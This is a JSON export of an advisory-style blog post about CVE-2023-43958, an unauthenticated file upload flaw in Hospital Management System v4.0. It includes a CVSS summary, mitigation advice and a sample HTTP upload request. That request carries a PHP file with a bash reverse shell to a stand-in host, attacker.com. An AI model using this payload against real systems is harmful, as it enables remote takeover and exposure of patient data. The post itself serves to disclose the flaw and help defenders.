{"id":33263,"date":"2025-04-28T18:49:30","date_gmt":"2025-04-28T18:49:30","guid":{"rendered":""},"modified":"2025-06-09T23:30:53","modified_gmt":"2025-06-10T05:30:53","slug":"cve-2023-43958-arbitrary-file-upload-vulnerability-in-hospital-management-system-v4-0","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2023-43958-arbitrary-file-upload-vulnerability-in-hospital-management-system-v4-0\/","title":{"rendered":"CVE-2023-43958: Arbitrary File Upload Vulnerability in Hospital Management System v4.0<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

In the cybersecurity landscape, a new vulnerability has been identified, CVE-2023-43958. This vulnerability takes place in the Hospital Management System v4.0, specifically in the \/jquery-file-upload\/server\/php\/index.php component. This vulnerability is of significant concern as it allows unauthenticated attackers to upload any file<\/a> to the server and execute arbitrary code. This means that potentially sensitive health data managed within such systems<\/a> may be at risk of unauthorized access or manipulation, which underscores the gravity of this vulnerability.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2023-43958
\nSeverity: Critical (9.8 CVSS Score)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: Potential system compromise<\/a> or data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Hospital Management System<\/a> | v4.0<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The exploit leverages a flaw in the \/jquery-file-upload\/server\/php\/index.php component of the Hospital Management System<\/a> v4.0. The system fails to validate or sanitize file uploads<\/a> adequately, enabling an attacker to upload malicious files. These files could contain executable code<\/a>, and once uploaded, the attacker can execute this code arbitrarily. This might lead to system compromise, unauthorized access to or manipulation of sensitive data<\/a>, or even use the compromised system as a launch point for further attacks.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

The following is a conceptual example of how the vulnerability might be exploited<\/a>. This is a HTTP POST request to the vulnerable endpoint with a malicious<\/a> file:<\/p>\n

POST \/jquery-file-upload\/server\/php\/index.php HTTP\/1.1\nHost: vulnerable.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=\"file\"; filename=\"evil.php\"\nContent-Type: application\/php\n \/dev\/tcp\/attacker.com\/8080 0>&1'\"); ?>\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n
This code above is a demonstration of an attacker uploading a PHP file<\/a> that contains a reverse shell script. When this file is executed on the server, it opens a connection to the attacker’s server, giving them interactive control of the compromised system<\/a>.<\/p>\n
Mitigation<\/strong><\/p>\n
Users are advised to apply the vendor patch as soon as it becomes available. In the interim, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can monitor and block suspicious activities, such as the upload of potentially harmful files<\/a>. Regularly updating and patching all software components can also help prevent similar vulnerabilities<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview In the cybersecurity landscape, a new vulnerability has been identified, CVE-2023-43958. This vulnerability takes place in the Hospital Management System v4.0, specifically in the \/jquery-file-upload\/server\/php\/index.php component. This vulnerability is of significant concern as it allows unauthenticated attackers to upload any file to the server and execute arbitrary code. This means that potentially sensitive health […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-33263","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t